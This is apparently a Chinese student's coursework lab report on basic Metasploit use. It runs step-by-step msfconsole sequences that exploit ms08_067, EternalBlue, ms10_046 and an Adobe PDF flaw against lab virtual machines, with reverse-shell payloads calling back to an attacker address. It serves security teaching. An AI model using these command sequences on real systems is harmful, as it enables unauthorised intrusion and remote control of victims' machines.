2018-2019-2 20165312《網絡攻防技術》Exp5 MSF基礎應用
2018-2019-2 20165312《網絡攻防技術》Exp5 MSF基礎應用
目錄
- 一、知識點總結
- 二、攻擊實例
- 主動攻擊的實踐
ms08_067
generic/shell_reverse_tcp
(成功)windows/meterpreter/reverse_tcp
(失敗)
ms17_010_eternalblue
(成功)generic/shell_reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell/reverse_tcp_rc4
- 攻擊瀏覽器的實踐
ms11_050
ms10_046
exploit/windows/browser/ms10_046_shortcut_icon_dllloader
(失敗)exploit/windows/smb/ms10_046_shortcut_icon_dllloader
windows/meterpreter/reverse_tcp
(成功且唯一)
- 攻擊客戶端的實踐
Adobe
(成功)
- 成功應用任何一個輔助模塊
- 在Exp 5-1中應用
use auxiliary/scanner/portscan/tcp
搜索靶機開放端口
- 在Exp 5-1中應用
- 菜雞本人還在嘗試其他的(先提交嘻嘻)
- 主動攻擊的實踐
- 三、實驗中遇到的問題及解決方案
- 四、實驗總結
一、知識點總結
1.MSF攻擊方法
- 主動攻擊:掃描主機漏洞,進行攻擊
- 攻擊瀏覽器
- 攻擊其他客戶端
2.MSF的六種模塊
- 滲透攻擊模塊
Exploit Modules
:攻擊漏洞,把shellcode
"背"過去- 主動滲透攻擊:攻擊某個系統服務
- 被動滲透攻擊:攻擊某個客戶端應用
- 輔助模塊
Auxiliary Modules
:在進行滲透攻擊之前得到目標系統豐富的情報信息,它是攻擊的前提- 網絡服務的掃描與查點
- 探查敏感信息泄露、Fuzz測試發掘漏洞
- 收集登錄密碼
- 攻擊載荷
Payload Modules
:載荷,一段指令(shellcode),目標系統在被滲透攻擊之後去執行的代碼 - 空字段模塊
Nop Modules
- 一些對程序運行狀態不會造成任何實質影響的空操作或無關操作指令,即空指令(滑行區)
- 由於系統無法精確計算
shellcode
的起始地址,所以加入nops
以增加攻擊成功的概率
- 編碼模塊
Encoders
- 改變
payload
形狀,使得不出現特定字符 - 確保攻擊載荷中不會出現滲透攻擊過程中應加以避免的“壞字符”
- 改變
- 後滲透攻擊模塊
Post
:攻擊成功之後,動態傳輸代碼使其在被控機執行 - 查看六種模塊源碼目錄
/usr/share/metasploit-framework/modules
3.MSF的三種用戶操作界面
- msfconsole
- 查看模塊的具體信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看設置信息
show [options]
- 查看攻擊目標類型
show [target]
- 查找命令
search
- 查找2016年產生的在windows平臺下的漏洞
search ms16 type:exploit platform:windows
- 查找2016年產生的在windows平臺下的漏洞
- 查看模塊的具體信息
- armitage
- 啟動服務器
service postgresql start
- 啟動armitage
armitage
- 啟動服務器
- webgui
返回目錄
二、攻擊實例
Exp5-1 實現ms08_067
靶機:Microsoft Windows 2000(10.0.0.140)
payload : generic/shell_reverse_tcp
實驗步驟
- 靶機和攻擊機ping成功(建議改成橋接模式)
- 攻擊者試探靶機是否存在ms08_067這個漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.140
- 建議使用這個步驟,要不會換很多臺虛擬機找靶機……(稍微省事一點吧)
- 查看到靶機的版本號
- 查看到靶機存在ms08_067這個漏洞,有了這個大前提,我們就可以開始攻擊了
- 輸入
msfconsole
打開metasploit控制臺,遇到圖下這個問題。因為沒有連接到服務器。
- 輸入
service postgresql start
啟動服務器,再重新進入metasploit控制臺就可以了(參考鏈接) - 查看一下ms08_067這個漏洞在哪裏
search ms08-067
- 選擇漏洞
use exploit/windows/smb/ms08_067_netapi
查看設置信息
show options
- 設置靶機ip
set RHOSTS 10.0.0.140
- 默認端口為445,使用輔助模塊查看445端口是否開放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #顯示設置
set RHOSTS 10.0.0.140 # 設置監聽者地址
exploit # 攻擊
- 查看targets
show targets
也可以看到我們靶機的類型set target 1
其實這裏不修改也是可以的
- 查看可用payload
show payloads
選擇generic/shell_reverse_tcp
set payload generic/shell_reverse_tcp
- 查看設置信息
show options
- 設置監聽者ip
set LHOST 10.0.0.154
- 設置監聽者端口號
set LPORT 5312
- 進行攻擊
exploit
嘗試更換一個payload : windows/meterpreter/reverse_tcp
在剛才的實驗基礎上我繼續嘗試了and前面步驟都一樣就是payload不一樣,但是攻擊失敗了
我在這篇博客裏面找到了一些解釋,大概的意思是和端口有關。然後我換了一個端口and重啟win2000,然後又出現了這個錯誤
看英文解釋是連接不上了,很顯然是win2000出問題了。果然他開始自動重啟了,好的這個虛擬機被我玩崩了(快照smile)
返回目錄
Exp5-2 實現MS17_010_eternalblue
靶機:Microsoft Windows 7(10.0.0.168)
payload : generic/shell_reverse_tcp
實驗步驟
nmap --script=vuln 10.0.0.168 #查看靶機開放端口、是否存在ms17_010
search ms17_010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue #使用漏洞
show payloads #顯示可用攻擊載荷
set payload generic/shell_reverse_tcp #選擇攻擊載荷
show options #查看配置信息
set LHOST 10.0.0.154 #設置監聽地址
set RHOSTS 10.0.0.168 #設置靶機地址
exploit #開始攻擊
攻擊成功
嘗試更換一個payload : windows/x64/meterpreter/reverse_tcp
- 攻擊成功
嘗試再更換一個payload:windows/x64/meterpreter/bind_tcp
- 攻擊成功
嘗試再更換一個payload:windows/x64/shell/reverse_tcp_rc4
- 攻擊成功
正常情況下只要是相對應的payloads都是可以成功的,還有很多選擇就不羅列了
返回目錄
Exp5-3 實現ms11_050
靶機:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
payload : generic/shell_reverse_tcp
實驗步驟
- 搜索漏洞
search ms11_050
- 使用漏洞
use exploit/windows/browser/ms11_050_mshtml_cobjectelement
- 顯示靶機類型
show targets
- 設置靶機類型
set target 3
- 顯示可用攻擊載荷
show payloads
- 選擇攻擊載荷
set payload generic/shell_reverse_tcp
顯示配置信息
show options
- 設置監聽地址
set LHOST 10.0.0.154
- 設置本地地址
set SRVHOST 10.0.0.154
- 開始攻擊
exploit
- but攻擊失敗了
- 我嘗試把IE瀏覽器的安全級別降到最低,失敗again
- 重新在虛擬機中下載IE7(抱著低版本或許好攻擊的想法),失敗again
- 用同樣的方法我攻擊了 Windows 7 + IE8 ,我遇到了同樣的問題
開始思考為什麽,我猜測是IE瀏覽器的問題,and我還沒解決……
返回目錄
Exp5-4-1 實現ms10_046(失敗版本)
靶機:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
payload : windows/meterpreter/reverse_tcp
實驗步驟
- 首先查看還有哪些瀏覽器漏洞
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
輸入
ls
命令即可看到很多漏洞代碼,隨意選擇一個吧
- 輸入
msfconsole
進入控制臺,並使用剛才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader
查看一下這個漏洞的作用的作用
info
通過查看Description
可以知道這個模塊利用了Windows快捷方式文件(. lnk)處理中的一個漏洞,該文件包含指向惡意DLL的圖標資源。此模塊創建一個WebDAV服務,當以UNC路徑訪問該服務時,可以使用該服> 務運行任意負載。
- 接著就是一些常規操作
show payloads #顯示可用攻擊載荷
set payload windows/meterpreter/reverse_tcp #選擇攻擊載荷
show options #查看配置信息
set LHOST 10.0.0.154 #設置監聽地址
exploit #進行攻擊
- 在靶機用瀏覽器打開鏈接
- 雖然靶機進入到了共享文件夾,但是監聽方這邊卻顯示無會話。且我在靶機刷新頁面,監聽方也是可以監控到。但是一直顯示無會話,我猜測或許是會話中斷了,但是卻沒有任何報錯顯示,無從查證。
- 沒錯,我又嘗試了winXP+IE8。結果是一樣的,也是可以訪問共享文件,但是一直顯示無會話……
- 然後,我又嘗試了win2000,IE根本就訪問不了那個頁面
- 不死心的我,嘗試了ms10_046的另外一個exploit
Exp5-4-2 實現ms10_046(成功版本)
靶機:Windows 7 + IE8
exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader
payload : windows/meterpreter/reverse_tcp
實驗步驟
search ms10-046 #看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader #使用漏洞
show payloads #顯示可用攻擊載荷
set windows/meterpreter/reverse_tcp #選擇攻擊載荷
show options #查看配置信息
set LHOST 10.0.0.154 #設置監聽地址
set SRVHOST 10.0.0.154 #設置本地收聽地址
set RHOSTS 10.0.0.168 #設置靶機地址
exploit #開始攻擊
將
/root/.msf4/local/msf.lnk
共享到win7虛擬機中,然後雙擊,即可在kail監聽到,輸入sessions
查看當前會話
輸入
sessions -i 1
即可選擇第一個會話,然後就攻擊成功(終於……)
返回目錄
Exp5-5 實現Adobe
靶機:Windows XP
實驗步驟
search adobe #進行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #選擇攻擊載荷
set LHOST 10.0.0.154 #攻擊者地址
set FILENAME 20165312.pdf #設置生成pdf文件的文件名
exploit #攻擊
- 將生成的
20165312.pdf
復制到Windows XP中 - kail中輸入
back
退出當前模塊,進入監聽模塊
use exploit/multi/handler #進入監聽模塊
set payload windows/meterpreter/reverse_tcp #選擇攻擊載荷
set LHOST 10.0.0.154 #攻擊者地址
exploit #攻擊
- 在靶機中打開
20165312.pdf
- 攻擊成功
返回目錄
三、實驗中遇到的問題及解決方案
1.在實現ms08-067
的時候,一開始我的靶機我使用的是windows xp系統,但是一直沒有會話建立
- 參考一位學長的博客(講解超級詳細),發現了其中的原因。
- 第一點我忘記了一個大前提,我沒有先掃描靶機存在的漏洞,使用
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.165
發現windows xp裏面就沒有這個漏洞
- 然後在windows xp中輸入
systeminfo
命令,原來windows xp裏面已經有了ms08-067漏洞的補丁
2.進行exploit
攻擊的時候,出現了如下問題
- 我理解的意思大概就是被占用了,然後我試過換端口,沒有起作用。最好的方法是重啟msf
返回目錄
四、實驗總結
1.實驗總結與體會
實驗的過程中一直困苦於no sessions的問題,有些問題最後解決了,有些問題還在遺留,總體上收獲很大。雖然之前也使用過msfconsole,但是這次實驗從系統上了解了他的六大模塊,實驗中用的最多的還是exploit和payload。從這次實驗,我也更加感受到nmap的強大,感覺nmap和auxiliary的作用有相似之處。之前在做其他課程的實驗也使用過nmap,但是這次卻讓我實驗效率提高。
2.離實戰還缺些什麽技術
啊,這可是差的遠了。實驗參考了往屆學長學姐的分析和做法,也嘗試了新的攻擊方法,遇到很多問題,好在成功了。對於msf我還是個小白,距離實戰還有很遠很遠的路。
3.用自己的話解釋什麽是exploit,payload,encode.
exploit
攻擊者對靶機進行攻擊的這一過程
payload
攻擊者進行攻擊的“武器”
encode
編碼,使得shellcode改變形狀,不具有特定字符
返回目錄
2018-2019-2 20165312《網絡攻防技術》Exp5 MSF基礎應用